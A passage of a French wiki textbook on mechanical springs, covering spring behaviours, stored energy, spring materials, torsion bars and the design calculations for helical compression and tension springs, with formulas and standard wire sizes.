| [[Image:Deformation des ressorts 04.png|150px|center]] |[[Image:Ressorts de compression coniques.jpg|200px|center]]</br></br>[[Image:Ressort conique a vide.png|90px|left]] [[Image:Ressort conique sous charge.png|90px|right]] |- |'''Comportement « neutre » ou « négatif » :''' </br> on l'obtient avec des bandes précontraintes enroulées très serrées et qui deviennent de moins en moins raides, ou de plus en plus souples, à mesure qu'on les déroule.</br> Le comportement neutre peut servir à équilibrer des charges, le ressort fournit alors un effort constant dans toutes les positions. Le comportement négatif est par essence instable ; la force de rappel donnée par un aimant permet d'en percevoir le principe.</br>► Si l'on veut décoller le barreau en '''imposant la force''', rien ne se passe tant que l'on n'a pas atteint une certaine valeur, puis le décollement se produit et le mouvement devient soudain incontrôlable car l'action de l'aimant diminue très vite quand l'entrefer augmente.</br>► Si l'on opère au contraire en '''imposant le déplacement''' du barreau grâce à un système rigide, alors la force de rappel donnée par l'aimant devient une fonction définie le l'entrefer et l'on peut représenter sa variation.</br> '''Beaucoup de mécanismes ont un fonctionnement très différent selon qu'on leur impose une force ou un déplacement.''' | [[Image:Deformation des ressorts 05.png|150px|center]] | [[Image:Aimant et barreau.png|175px|center]] |- |'''Comportement variable :'''</br> on peut obtenir toutes sortes de relations entre les efforts et les changements de forme. </br></br>► Les touches des claviers informatiques et les boutons des souris nous en fournissent un excellent exemple. Toute manœuvre doit provoquer un contact net et sans rebond, de manière à envoyer une impulsion électrique précise et unique. Pour cela, les touches et les boutons offrent d'abord une certaine résistance à la pression avant de céder brutalement et de s'enfoncer sans rebondir.</br>► On voit en haut à droite le clavier d'une calculette, constitué d'une seule pièce d'élastomère moulée ; les touches sont reliées à la plaque de base par une mince paroi élastique en forme de tronc de pyramide visible sur les différentes photos. Sur la troisième photo, on voit aussi les pastilles noires conductrices qui établissent le contact directement sur un circuit imprimé. La vue tout en bas est faite par transparence, les zones claires montrent que la paroi mince est translucide.</br>► Lorsque l'on presse une touche, cette paroi résiste d'abord à la manière d'une voûte, puis cède brutalement. On dit qu'elle « flambe ». Ainsi, le mouvement par lequel le contact est établi est toujours franc, l'effort qui suffit à maintenir une touche enfoncée est inférieur à celui qui provoque le flambement ; la courbe caractéristique de ce « ressort » montre d'abord un comportement « positif » qui se transforme, à partir d'un certain seuil, en comportement « négatif ». </br></br>► Loin d'être rare, ce comportement est au contraire la règle dans tous les systèmes qui ouvrent ou ferment des contacts électriques, et il existe de très nombreuses manières de l'obtenir. | [[Image:Deformation des ressorts 06.png|175px|center]]</br></br>[[Image:bouton 1.png|175px|center]]</br>[[Image:Bouton 2.png|175px|center]] |[[Image:Clavier 01.jpg|175px|center]]</br>[[Image:Clavier 02.jpg|175px|center]]</br>[[Image:Clavier 04.jpg|175px|center]]</br>[[Image:Clavier 03.jpg|175px|center]]</br> |- |'''Comportement irréversible : '''prenons pour exemple une calotte sphérique en tôle mince, de faible courbure, retenue à sa périphérie dans un montage.</br>► En exerçant selon son axe une force qui tend à l'aplatir, on produit un affaissement qui disparaît si l'on cesse d'agir. Le processus est alors réversible puisque le système revient à sa position première après disparition de la cause qui l'en avait écarté.</br>► En poussant plus fort, on atteint un seuil à partir duquel la calotte se déforme de plus en plus aisément et si l'on dépasse le point où elle devient plane, sa courbure change subitement de sens avec émission d'un claquement caractéristique. L'énergie dépensée pour aplatir la calotte est entièrement perdue lors de cette déformation très brutale. Le comportement est devenu irréversible, puisque le retour à la position initiale ne se produit plus lorsque l'on cesse d'appliquer l'effort. Nulle part, cependant, le matériau n'a atteint sa limite d'élasticité.</br>► Naturellement, ce phénomène peut être reproduit dans l'autre sens. Ce système possède deux configurations stables et l'on peut en imaginer de plus complexes. </br>► En imposant non pas l'effort, mais la flèche de la calotte, on peut tracer une courbe donnant l'effort obtenu en fonction du déplacement.</br>► De tels dispositifs, qui comportent presque toujours un organe élastique travaillant au flambage, sont largement utilisés dans les systèmes de régulation. La calotte peut aussi être découpée dans une bilame obtenue en soudant à pleine surface deux tôles de coefficients de dilatation très différents ; ses changements de courbure peuvent alors intervenir sous l'effet des variations de température, conjuguées ou non avec d'autres actions mécaniques. <br>Le fameux '''criquet''' que les troupes états-uniennes utilisaient en 1944 pour se reconnaître dans la nuit du bocage normand émettait des claquements grâce à une portion de lame élastique changeant brutalement de courbure. | [[Image:Deformation des ressorts 07.png|175px|center]] |[[Image:Calotte en flambement.png|200px|center]] |- |} === Aspects énergétiques === {| |- |[[Image:0 ressort energie elementaire.png|225px|center]] |Si nous considérons maintenant, pour un ressort donné, la courbe qui donne la charge P en fonction de la flèche f, nous faisons apparaître sous forme d'une petite surface élémentaire le travail mécanique qu'il faut fournir au ressort pour passer de la flèche f à la flèche f + df.<br>Ce travail vaut tout simplement : <math>dW=P\,df</math> |- |[[Image:Ressort - energie potentielle 1.png|200px|center]] |Le travail nécessaire pour amener un ressort de l'état libre (f = 0 et P = 0) à la flèche F est représenté par l'aire sous la courbe et vaut d'une manière générale :<br><math> W = \int_0^F P\,df </math> |- |[[Image:Ressort - energie potentielle 2.png|225px|center]] |Si le ressort possède une caractéristique quasi linéaire alors <math>P=k\,f</math> et donc : <math> W = \int_0^F k\,f\,df = \frac{k\,F^2}{2} = \frac{P\,F}{2} </math> |} Si la déformation est très lente, le travail nécessaire pour comprimer le ressort est emmagasiné sous forme d'[[W:fr:énergie potentielle|énergie potentielle]] et peut être restitué presque intégralement lors du retour à l'état initial. En cas de déformation rapide, la masse du ressort n'étant pas nulle, une partie de l'énergie mise en jeu est transformée en [[w:fr:énergie cinétique|énergie cinétique]] ... et le problème se complique ! L'[[w:fr:énergie de déformation|énergie de déformation]] du ressort est « dispersée » en chaque point de sa matière. Un volume élémentaire dV de métal, soumis à la traction, peut emmagasiner une énergie dW proportionnelle à la contrainte qui lui est appliquée : : <math> dW = \frac{\sigma^2}{2E} dV </math> Cette énergie élémentaire est maximale lorsque la contrainte σ atteint la limite d'élasticité Re : : <math> dW_{maxi} = \frac{Re^2}{2E} dV </math> Nous retrouvons ici <math> \frac{Re^2}{2E} </math> qui est la '''résistance vive élastique''' du matériau. Un ressort idéal de volume V, dont toute la matière travaillerait par exemple en traction simple et à sa limite d'élasticité, pourrait donc emmagasiner l'énergie potentielle théorique : : <math> W_0 = \frac{Re^2}{2E} V </math> En fait, seule une partie de la matière peut matériellement être contrainte jusqu'à la limite d'élasticité et l'énergie qu'un ressort emmagasine réellement n'atteint qu'une fraction λ de la valeur théorique W<sub>o</sub>. λ est le '''coefficient d'utilisation'''. : <math> W_{maxi} = \lambda\frac{Re^2}{2E} V </math> Bien que, paradoxalement, λ puisse en théorie et dans le cas le plus général dépasser 1 (à cause des contraintes résiduelles), en pratique il varie ordinairement entre ¼ et ²⁄₃. Il faut presque toujours, par sécurité, se réserver une marge assez importante par rapport à la limite d'élasticité ou, dans les applications dynamiques, par rapport à la limite de fatigue. Si, par exemple, la zone la plus contrainte l'est seulement à la moitié de la limite d'élasticité, l'énergie emmagasinée est divisée par 4... d'où l'intérêt de cerner avec précision les coefficients de sécurité. L'énergie emmagasinée par unité de masse peut atteindre approximativement, en J/kg : * ressorts à lames : 25 à 40 * ressorts à lames étagées : 80 à 120 * ressorts hélicoïdaux en compression : 200 à 300 * barres de torsion : 250 à 400 Notons que les ressorts sont en fait de piètres [[w:fr:accumulateur|accumulateur]]s d'énergie si on les compare à d'autres dispositifs. Ainsi, la batterie d'accumulateurs d'une automobile stocke environ 1 000 fois plus d'énergie que ne le ferait un ressort de même masse. === Les impératifs techniques de base === '''Quel qu'en soit le type, un ressort convenablement conçu doit :''' # '''résister aux charges maximales qui lui seront appliquées, lesquelles n'engendreront qu'une contrainte au plus égale à la contrainte admissible dans la zone la plus sévèrement sollicitée (condition de résistance).''' # '''se déformer selon les besoins et donc posséder une raideur bien définie (condition de déformation).''' Naturellement, d'autres impératifs viennent très vite s'ajouter, à commencer par les limites d'encombrement et de masse. Il faut également tenir compte de la disponibilité de la matière première et des dimensions normalisées des demi-produits, en particulier des diamètres des fils et des barres. {{EnCours}} '''Ce texte vient d'être transféré, toutes les illustrations n'ont pas encore été mises en place dans la suite de ce Wikilivre, merci de votre compréhension.''' === Equation décrivant le mouvement d'un solide accroché à un ressort === ==Ressorts métalliques== Cet article est limité à l''''étude statique de quelques types courants de ressorts métalliques'''. Si la conception d'un ressort de qualité nécessite de solides connaissances dans les domaines de l'analyse des contraintes et de la mécanique rationnelle, la concrétisation d'un projet pose des questions de choix de matériaux (nature, traitements), de mise en forme et surtout de qualité de surface (structure, contraintes résiduelles, rugosités) dès lors que l'on travaille sur un mécanisme en mouvement. Bien que de nombreux ressorts soient sollicités à des fréquences assez élevées ou très élevées, nous nous limiterons ici à une étude statique ou quasi-statique. Quand les déformations ont lieu à faible vitesse, les variations de charge sont répercutées sans décalage de temps dans toute la masse du ressort. Par contre, dans le cas d'un fonctionnement dynamique à haute fréquence, les charges appliquées à une extrémité d'un ressort ne sont pas transmises instantanément jusqu'à l'autre ; ce retard engendre des phénomènes vibratoires que l'on peut parfois mettre à profit mais qui sont le plus souvent indésirables. Les motoristes, par exemple, n'apprécient guère la « danse » des ressorts de soupapes. Les lois classiques de la résistance des matériaux sont établies dans le cadre d'hypothèses très restrictives et qui ne sont que très rarement respectées dans le fonctionnement des ressorts industriels. Les formules établies lors de l'étude des [[poutre]]s s'appliquent relativement bien aux barres de torsion mais, pour la plupart des autres types de ressorts, elles donnent des résultats très imprécis, voire carrément inutilisables. Il faut alors se tourner vers des lois empiriques susceptibles de rendre mieux compte de la réalité. De toute manière, la précision apportée au calcul des ressorts n'a de sens que si l'on dispose des matériaux permettant d'obtenir et surtout de conserver dans la durée les caractéristiques adéquates. ==Matériaux et traitements== Sans entrer dans le détail pour l'instant, disons qu'un bon matériau pour réaliser des ressorts possède une '''résistance vive élastique R<sub>e</sub><sup>2</sup>/2.E''' aussi grande que possible, R<sub>e</sub> étant la [[limite d'élasticité]] et E le [[module de Young]] de ce matériau. Toutefois, une haute limite d'élasticité ne suffit pas, il faut qu'elle s'accompagne d'une bonne [[résilience]] et d'une bonne [[endurance (matériaux)|endurance]] vis-à-vis des efforts alternés. === Matériaux métalliques === * Parmi les '''aciers''', une première famille est celle des aciers mangano-siliceux contenant de 1,5 à 2 % de [[silicium]], 0,6 à 0,7 % de [[manganèse]], 0,4 à 0,6 % de [[carbone]], avec éventuellement un peu de [[chrome]], de [[tungstène]], de [[molybdène]] ou de [[vanadium]]. Citons les nuances suivantes : 45S7 (ressorts à lames), 55S7, 45SCD6, 60SC7, (barres de torsion), 45SW8. On trouve aussi des aciers au chrome, avec du vanadium, du manganèse ou du silicium-molybdène, par exemple : 45C4, 50CV4. * L'ELINVAR (« acier » à 33 % de nickel, 12 % de chrome, 1,2 % de manganèse) a un module d'YOUNG indépendant de la température. Il sert à la fabrication de ressorts destinés à des appareils de précision ([[galvanomètre]]s, [[sismographe]]s, [[chronomètre]]s, [[diapason]]s, etc.). * La limite d'élasticité des aciers baisse rapidement lorsque la température s'élève. Les alliages du type Inconel à base de [[nickel]] (45 à 75 %), de [[chrome]] (15 %), de [[cobalt]], [[molybdène]], [[tungstène]], [[titane]], [[fer]], et [[aluminium]] conservent des propriétés correctes jusqu'à 400-500 °C. * La corde à piano est (en principe) un fil d'acier à 0,8 - 1 % de carbone, dont la surface polie est exempte de défauts ou d'imperfections notables susceptibles d'amorcer des ruptures de fatigue. On atteint normalement une limite d'élasticité R<sub>e</sub> = 1 210 MPa pour le fil de 0,5 mm et R<sub>e</sub> = 1 125 MPa pour le fil de 13 mm. Toutefois, il faut se méfier de la « corde à piano » achetée au rayon bricolage du supermarché du coin, car elle risque fort de ne pas approcher ces performances... * Un matériau trop peu connu mais largement utilisé en construction électrique est le [[cuivre au béryllium]] (1 à 2 %). Il permet de réaliser des ressorts très bons conducteurs de l'électricité et de la chaleur. Sa limite d'élasticité atteint 100 MPa, avec une très bonne [[endurance]]. * Les [[w:alliage à mémoire de forme|alliages à mémoire de forme]] (par exemple, le Nitinol, alliage de [[w:nickel|nickel]], [[w:titane|titane]] et [[w:cuivre|cuivre]]) constituent une solution intéressante quand la détente du ressort doit être différée dans le temps. Ils présentent plusieurs propriétés très spéciales, entre autres l'[[effet mémoire]] simple sens qui permet à l'alliage de retrouver sa forme initiale après une déformation mécanique ou thermique et l'effet mémoire double sens qui le rend capable après « éducation » d'avoir deux positions stables au-dessous et au-dessus d'une certaine « température critique ». Des ressorts peuvent ainsi rester « au repos » à température ambiante et devenir « actifs » si leur température augmente. Ils ont des applications fort intéressantes en [[orthodontie]], dans les systèmes d'[[assemblage mécanique]], les appareillages de sécurité, etc. * Aux très basses températures (-150 à -200 °C), les aciers sont presque tous extrêmement fragiles mais on peut utiliser d'autres métaux comme... le '''[[plomb]]''' ! Bien sûr, un ressort en plomb ne doit jamais être ramené sous charge à la température ambiante. === Caoutchoucs et élastomères === (à développer) === Matériaux divers === Les propriétés élastiques du [[w:silicium|silicium]] le font parfois employer pour des ressorts destinés à divers micromécanismes et à des montres mécaniques haut de gamme. === Traitements des matériaux métalliques === Il n'est pas dans notre intention d'entrer ici dans le détail des procédés de fabrication. Signalons simplement que tous les ressorts sérieux subissent des traitements mécaniques qui, mettant en compression les couches superficielles du métal, minimisent la formation et la propagation des [[w:fatigue (matériaux)|fissures de fatigue]]. Ces traitements peuvent être le [[w:galetage|galetage]] (barres de torsion) ou le [[grenaillage de précontrainte]] (en anglais ''shot peening''). La préconformation des ressorts est également une solution pour créer, aux endroits les plus sollicités, les [[contraintes résiduelles]] de compression ou de cisaillement adéquates. Les traitements chimiques ou par galvanoplastie ne sont absoluement pas conseillés car ils ont généralement pour effet de rendre les ressorts fragiles. ==Ressorts dont la matière travaille en torsion== ===Barre de torsion=== La barre de torsion est un des ressorts les plus simples. Si nous négligeons les extrémités, sa partie active est une barre pleine de diamètre d et de longueur L, ou bien un tube de diamètre intérieur d<sub>i</sub> et de diamètre extérieur d<sub>e</sub>. [[Image:Barre de torsion.png]] L'une des extrémités de la barre est [[encastrement|encastrée]] et considérée comme fixe, l'autre, dite libre, est reliée aux éléments mobiles. L'application essentielle des barres de torsion est la suspension des véhicules, particulièrement de ceux dont les roues sont indépendantes. On les utilise non seulement sur des véhicules légers, mais aussi sur des engins de masse importante ([[char d'assaut]] par exemple) et beaucoup de [[véhicule tous terrains|véhicules tous terrains]]. Appelons M<sub>t</sub> le moment de torsion appliqué à l'extrémité libre de la barre et α l'angle dont tourne cette extrémité par rapport à l'autre, sous l'effet de ce moment. ====Condition de résistance ==== La contrainte maximale de cisaillement dans le ressort vaut : <math>\tau=\frac{Mt}{\frac{I_0}{V}}\leq {\tau}_{adm}</math> avec <math>\tau = \frac{16\,Mt}{\pi d^3}</math> (barre pleine) ou <math>\tau = \frac {16 \,d_e \,Mt}{\pi (d_e^4-d_i^4)}</math> (tube) ====Condition de déformation ==== L'angle de rotation de l'extrémité libre vaut : <math>\alpha=\frac{Mt\,L} {G\,I_o} </math> avec <math>\alpha=\frac{32\,Mt\,L}{\pi\,G\,d^4}</math> (barre pleine) ou <math>\alpha=\frac{32\,Mt\,L}{\pi\,G\,(d_e^4-d_i^4)}</math> (tube) La raideur vaut <math>k=\frac{Mt}{\alpha}=\frac{G\,I_o}{L}</math> Nous noterons que les inconnues sont faciles à obtenir à partir des formules : en effet, pour un matériau donné, les diamètres de la barre ou du tube sont fixés par la condition de résistance, ensuite la condition de déformation impose la longueur. ====Problèmes pratiques ==== Dans les barres de torsion à section circulaire, le problème délicat est celui des attaches, au niveau desquelles il ne faut pas provoquer de [[concentration de contraintes]]. Le plus souvent, un cône de demi angle au sommet proche de 30°, raccordé à la barre par un large [[congé de raccordement]] (rayon r ~ 1,5.d), permet l'augmentation de diamètre nécessaire au taillage des [[cannelures]] ou des [[dentelures]] qui seront engagées dans les parties femelles des pièces de liaison. C'est évidemment au niveau des angles rentrants de ces cannelures ou dentelures que les risques de créer des amorces de rupture sont a priori les plus grands mais la réalisation du congé doit être l'objet de toutes les attentions. [[Image:Extremite barre de torsion.png]] Notons la possibilité d'associer une barre et un tube de torsion afin de diminuer l'encombrement en longueur (suspension dite « Dubonnet »). [[Image:Suspension dubonnet.png]] ===Ressort hélicoïdal de traction ou compression=== Ce type de ressort, encore appelé « ressort à boudin », peut être considéré comme une barre de torsion que l'on aurait enroulée en hélice. C'est sans doute le plus courant. [[Image:Ressort de compression.png]] [[Image:Ressort de traction.png]] La partie active du ressort comporte un fil enroulé selon une hélice régulière, mais il faut tenir compte des extrémités destinées à assurer la liaison avec l'environnement. Le dessin ci-dessous représente un ressort de compression à extrémités rapprochées et meulées. [[Image:Ressort de compression cotes.png]] Retenons immédiatement : * qu'il existe dans un tel ressort des '''spires « actives »''' appelées à se déformer et des '''« spires inactives »''' utilisées pour les appuis, avec un passage graduel des unes aux autres par variation de l'angle d'hélice, * que '''le nombre TOTAL de spires doit être un multiple impair de 0,5''' de façon à mieux répartir les efforts d'appui, surtout lorsque les extrémités ne sont pas meulées. [[Image:Un bon sujet de reflexion.png]] Précisons les notations utilisées : * D diamètre d'enroulement * d diamètre du fil * m = D/d proportions * D<sub>e</sub> = D + d diamètre extérieur * D<sub>i</sub> = D-d diamètre intérieur * n nombre de spires actives * n' nombre de spires inactives * p<sub>o</sub> pas d'enroulement à vide * p<sub>x</sub> pas d'enroulement sous charge X * H<sub>o</sub> hauteur libre (sans charge) * H<sub>x</sub> hauteur sous charge X * H<sub>P</sub> hauteur à spires jointives (à bloc) * i angle d'inclinaison de l'hélice * P charge axiale maximale (norme) * f<sub>1</sub> flèche d'une spire sous charge P * f = H<sub>o</sub>-H<sub>p</sub> flèche du ressort sous charge P * T effort tranchant dans le fil (norme) * N effort normal dans le fil (norme) * M<sub>f</sub> moment de flexion dans le fil (norme) * M<sub>t</sub> moment de torsion dans le fil (norme) * k = P/f raideur du ressort * τ contrainte due а la torsion seule * τ<sub>m</sub> contrainte maximale sous charge P * K coefficient de correction de contrainte Nous supposerons dans ce qui suit que les hypothèses suivantes sont vérifiées : * '''les sections droites du fil sont et restent circulaires''', * '''les spires sont faiblement inclinées (i < 7°)''', * '''les appuis du ressort sont perpendiculaires à l'axe et sans frottement''', * '''les forces extérieures sont appliquées dans l'axe du ressort'''. L'application d'un effort axial <math>\overrightarrow{P}</math> entraîne l'existence, au niveau d'une section droite quelconque du fil, * d'un effort normal <math>\overrightarrow{N}</math> et d'un effort tangentiel <math>\overrightarrow{T}</math> tels que <math>\overrightarrow{N}+\overrightarrow{T}=-\overrightarrow{P}</math>, * d'un moment de torsion <math>\overrightarrow{M_t}</math> et d'un moment de flexion <math>\overrightarrow{M_f}</math> tels que leur somme <math>\overrightarrow{M}=\overrightarrow{M_t}+\overrightarrow{M_f}</math> soit tangentielle et que <math>\begin{Vmatrix}\overrightarrow{M_t}+\overrightarrow{M_f}\end{Vmatrix}=P\,\frac{D}{2}</math> Compte tenu de la faible inclinaison du fil, nous négligerons le moment de flexion et l'effort normal (le premier produit une rotation d'une extrémité du ressort par rapport à l'autre, rotation qui doit être libre pour conserver leur validité aux calculs). Nous écrirons par ailleurs : <math>T \simeq P, Mt \simeq \frac{P D}{2}</math> ====Condition de résistance ==== Il faut examiner ici la répartition des contraintes dans le fil : [[Image:0_contraintes_tangentielles.png]] Si nous ne tenons compte que du moment de torsion, les contraintes de cisaillement sont réparties comme l'indique la figure 1. Elles sont maximales sur la périphérie du fil, où elles valent : <math>\tau=\frac{M_t}{\frac{I_o}{v}}=\frac{16\,M_t}{\pi\, d^3}=\frac{8\,P\,D}{\pi\,d^3}</math> Cette formule n'est guère utilisable que pour des avant-projets. Si nous prenons en compte l'[[effort tranchant]], supposé uniformément réparti sur la section du fil, nous arrivons à la répartition indiquée par la figure 2. Que le ressort travaille en traction ou en compression, les deux contraintes tangentielles s'ajoutent au point I situé à l'intérieur du ressort. La correction faite est telle que : <math>\tau'=\frac{8\,P\,D}{\pi\,d^3}+\frac{4\,P}{\pi\,d^2}=\frac{8\,P\,D}{\pi\,d^3}\left(1+\frac{d}{2\,D}\right)</math> Le terme correcteur qu'il faut ajouter est d'autant plus grand que le rapport m = D/d est petit, ce qui caractérise un ressort « raide ». Ceci sera justifié par la suite. En réalité, il faut encore tenir compte de la courbure de la « [[poutre]] » constituant le ressort. La répartition des contraintes n'est pas linéaire et prend l'allure donnée sur la figure 3, avec un maximum très marqué au point intérieur I où s'amorcent presque toujours les [[rupture]]s de [[fatigue]], comme celle que l'on peut voir ici : [[Image:0_ressort_rompu_par_fatigue.jpg]] La contrainte τ<sub>m</sub> se calcule en pratique à partir de la contrainte τ que l'on multiplie par un coefficient correcteur K (ne pas confondre avec la raideur) dépendant du rapport D/d. Ce coefficient K peut être déterminé par lecture sur l'abaque ci-dessous ou encore calculé grâce à des formules plus ou moins empiriques. [[Image:0_coefficient_correcteur_K.png|thumb|250px|Coefficient correcteur K]] Voici par exemple une de ces formules, donnée par ROEVER : <math>\tau_m=K\,\tau=K\frac{8\,P\,D}{\pi\,d^3}</math> soit <math>\frac{\tau_m}{K}=\frac{8\,P\,D}{\pi\,d^3}</math> avec <math>K=\frac{4m-1}{4m-4}+\frac{0,615}{m}</math> en posant m = D/d ====Condition de déformation ==== La résistance des matériaux donne la valeur de la flèche par spire active (dans le cadre des hypothèses simplificatrices énoncées plus haut) : <math>f_1=\frac{8\,P\,D^3}{G\,d^4}</math> Si nous connaissons la flèche f que doit prendre le ressort sous l'effet de la charge P, nous pouvons très facilement en déduire le nombre de spires actives nécessaires : <math>f_1=\frac{8\,P\,D^3\,n}{G\,d^4}</math> soit <math>n=\frac{G\,d^4\,f}{8\,P\,D^3}</math> La raideur du ressort s'écrit alors : <math>k=\frac{P}{f}=\frac{G\,d^4}{8\,D^3\,n}</math> TIMOSHENKO propose de corriger cette valeur en fonction de la valeur de m : <math>k=\beta\frac{G\,d^4}{8\,D^3\,n}</math> avec <math>\beta=1+\frac{3}{16(m^2-1)}</math> Une telle correction n'a d'intérêt que si m < 5. Dans le cas contraire le coefficient 9 est très proche de 1 et l'on ne corrige pas (ex : si m = 10, b = 1, 002). ==== Instabilité latérale ==== Pour les ressorts de compression de grande longueur il est nécessaire de prévoir un guidage pour éviter le phénomène de [[flambage]], lequel est favorisé par le déplacement latéral des appuis, par les vibrations, etc. La courbe ci-dessous donne la limite à partir de laquelle le flambage devient hautement probable, pour des ressorts dont les appuis sont correctement réalisés. [[Image:0_limite_de_flambage.png]] ====Variation du diamètre d'enroulement sous charge ==== Lorsqu'un ressort de compression est guidé dans un tube avec un jeu insuffisant, il risque de se trouver bloqué car le fil tend à se dérouler sous l'effet du moment de flexion, ce qui provoque l'augmentation du diamètre extérieur. D<sub>e</sub> étant le diamètre extérieur et p le pas d'enroulement du ressort à vide, on trouve le nouveau diamètre extérieur D'<sub>e</sub> du ressort chargé à bloc (les spires sont alors jointives) grâce à la formule : <math>D_e^'=d+\frac{1}{2}\sqrt{p^2+4D^2-d^2}</math> (selon Tools Engineers Book) Bien que le cas soit nettement plus rare, il pourrait en être de même pour un ressort de traction monté sur une tige de trop fort diamètre, à cause cette fois de la diminution du diamètre intérieur. ====Notions sur la fabrication ==== *le rapport m = D/d est presque toujours compris entre 5 et 13 et le plus souvent entre 7 et 10. En dessous de 5, jusqu'à 3,5, on ne peut pratiquement plus enrouler le fil à froid. Au-dessus de 12 ou 13 la détente du fil après enroulement ne permet plus d'assurer avec précision la valeur du diamètre D. On peut exceptionnellement atteindre 17 à 18 pour des fabrications de grande série, après mise au point d'outillages spéciaux. *le formage du ressort dépend du matériau et du diamètre du fil. L'enroulement se fait généralement à froid au-dessous de 10 mm et systématiquement à chaud au-dessus de 17 mm. Les traitements s'effectuent après le formage. *la préconformation a pour but d'écrouir les couches superficielles pour en augmenter la limite d'élasticité. Le ressort est enroulé avec un pas plus grand que la valeur calculée puis comprimé à bloc. Il se trouve raccourci après l'opération car dans certaines zones la limite d'élasticité a été dépassée. Cette plastification engendre des contraintes résiduelles qui se déduisent de la contrainte principale régnant au point intérieur I de la section du fil. La maîtrise des divers paramètres (géométrie, contraintes, ...) n'est pas simple. [[Image:0_ecrouissage_et_preconformation.png]] Dans un fil tordu, tant que l'on reste dans le domaine élastique, les contraintes de cisaillement restent proportionnelles à la distance au centre de la section. Il n'en va pas de même si l'on dépasse la limite d'élasticité : l'[[écrouissage]] des zones périphériques s'accompagne d'une limitation des contraintes maximales et d'une surcharge concomitante des zones intérieures. On peut se débrouiller pour que cette situation se produise lorsque le ressort est comprimé à bloc. [[Image:0_torsion_1.png]] Si on relâche l'effort, on ne revient pas à l'état initial, les contraintes dans les zones internes chargent les zones externes en sens contraire. [[Image:0_torsion_2.png]] Une nouvelle charge appliquée au ressort engendrera dans le fil des contraintes qui resteront inférieures à la limite d'élasticité, tant qu'elle restera inférieure à la charge de préconformation, c'est-à-dire tant que le ressort ne sera plus comprimé à bloc. Le domaine d'élasticité du ressort se trouve ainsi étendu, par rapport à ce qu'il serait sans préconformation. [[Image:0_torsion_3.png]] *le [[grenaillage de précontrainte]] n'est pas très pratique à mettre en œuvre car le jet de grenaille n'atteint pas facilement la zone intérieure, celle qui peut le plus bénéficier de ce traitement. *pour les extrémités, on peut se contenter de rapprocher les spires dans le cas de ressorts à bon marché mais le plus souvent on les rapproche et on les meule. Le nombre total de spires est égal au nombre n des spires actives, auquel il convient d'ajouter le nombre n' des spires d'extrémité, lequel vaut usuellement : [[Image:0_spires_d'extremite.png]] Notons que certains fabricants proposent des ressorts munis de pièces d'appui spécialement étudiées, comme ci-dessous : [[Image:0_ressort_avec_pieces_d'appui.jpg]] Rappelons que pour un bon appui, surtout si les spires terminales ne sont pas meulées, '''le nombre total de spires doit être un multiple impair de 0,5''' : n + n' = (2 e + 1) 0,5 avec e entier Les ressorts de traction sont généralement enroulés à spires jointives grâce à une torsion du fil. Il ne faut plus alors les traiter à chaud. La photo ci-dessous montre deux ressorts de traction montés l'un dans l'autre, de façon à obtenir une plus grande raideur dans un encombrement donné. [[Image:0_ressorts_de_traction_imbriques.jpg]] Les extrémités des ressorts de traction sont munies d'un anneau qui permet de les accrocher aux mécanismes sur lesquels elles doivent agir. Il existe différentes manières de les réaliser : [[Image:0_ressort_de_traction_extremites.png]] Les ressorts de compression peuvent être utilisés sans préparation des extrémités à condition d'utiliser des bouchons spécialement adaptés : [[Image:Bouchons d'appui pour ressorts de compression à bouts non dressés.png|250px|center]] ==== Calcul d'un ressort en hélice cylindrique ==== Nous disposons d'un certain nombre de données que nous devons exploiter au mieux : (1) '''Résistance aux efforts''' : D/d = m n'étant pas connu a priori, nous ne savons pas quelle valeur adopter pour le coefficient de correction K. Pour nous faire une première idée, nous pouvons choisir un matériau, diminuer de 15 à 20 % sa contrainte admissible de cisaillement et utiliser la formule approchée : <math>\tau_m=\frac{8\,P\,D}{\pi\,d^3}\le\tau_{adm}</math> Si nous fixons a priori m, nous fixons également K. Nous pouvons alors remplacer D par m.d dans la formule complète et en tirer une valeur de d : <math>d\ge\sqrt{\frac{8\,P\,D\,K\,m}{\pi\,\tau_{adm}}}</math> Naturellement cette valeur a toutes les chances de ne pas convenir : les diamètres des fils du commerce sont en effet normalisés et il convient de ne pas oublier ce « détail »... Nous choisirons en conséquence le diamètre d dans la série suivante (valeurs en mm) : 0,15 0,20 0,25 0,30 0,35 0,40 0,45 0,50 0,55 0,60 0,65 0,70 0,75 0,80 0,85 0,90 0,95 1 1,1 1,2 1,3 1,4 1,5 1,6 1,7 1,8 2 2,3 2,5 2,8 3 3,2 3,5 3,8 4 4,2 4,5 4,8 5 5,5 6 6,5 7 7,5 8 8,5 9 10 11 12 13 14 (2) '''Raideur''' : avec un peu de patience nous aurons peut être fini par tirer de la formule précédente deux valeurs plausibles de d et D. Le nombre de spires sera alors facile à obtenir à partir de la raideur du ressort : <math>n=\frac{G\,d^4}{8\,D^3\,k}</math> Il faut que nous ayons à nouveau beaucoup de chance pour que ce nombre soit convenable : compte tenu du fait que d et D interviennent à des puissances élevées il est probable que ce calcul nous donnera une valeur aberrante de n, par exemple 250 spires ou 0,47 spire. (3) '''Fabrication''' : elle impose, comme nous l'avons signalé, les proportions du ressort : <math>5 \le m \le 13</math> (4) '''Linéarité''' : elle impose de limiter la valeur de l'angle d'inclinaison d'hélice, on admet généralement la valeur suivante : <math>\tan i = \frac{p}{\pi\,D} \le 0,1</math> (5) '''Encombrement extérieur''' : le diamètre D<sub>e</sub> doit rester inférieur à une certaine valeur si le ressort est monté dans un alésage. Attention, dans ce cas, à l'augmentation de D<sub>e</sub> lorsque le ressort est comprimé ! (6) '''Encombrement intérieur''' : le diamètre D<sub>i</sub> doit être supérieur à une certaine valeur si le ressort est enfilé autour d'une tige. (7) '''Hauteur maximale''' : il se peut que la hauteur du ressort monté soit limitée par la place disponible. (8) '''Hauteur minimale''' : on ne peut plus comprimer un ressort dont les spires sont devenues jointives ... ce qui est de toute manière une situation parfaitement anormale en fonctionnement. La détermination peut être faite au moyen d'abaques et l'on a fabriqué jadis des règles à calcul spéciales. Nous pouvons aussi tracer sur un même graphique les courbes correspondant aux diverses conditions ci-dessus : elles définissent, sauf pour les malheureux qui sont poursuivis par la scoumoune, une zone plus ou moins étendue dans laquelle peuvent être choisies de nombreuses combinaisons de d et D. [[Image:0_determination_d'un_ressort.png]] On préfère utiliser aujourd'hui des programmes informatiques qui offrent une aide efficace à la conception des ressorts. Reste, dans tous les cas, à mener à bien l'optimisation ... ==== Abaque pour les ressorts de traction-compression ==== Cet [[abaque (calcul)|abaque]] permet de déterminer rapidement les caractéristiques d'un ressort hélicoïdal en « corde à piano », dans le cas où l'on souhaite procéder immédiatement à la réalisation, même si c'est « avec les moyens du bord ». On part de la charge maximale et des proportions D/d, ce qui permet d'obtenir immédiatement le 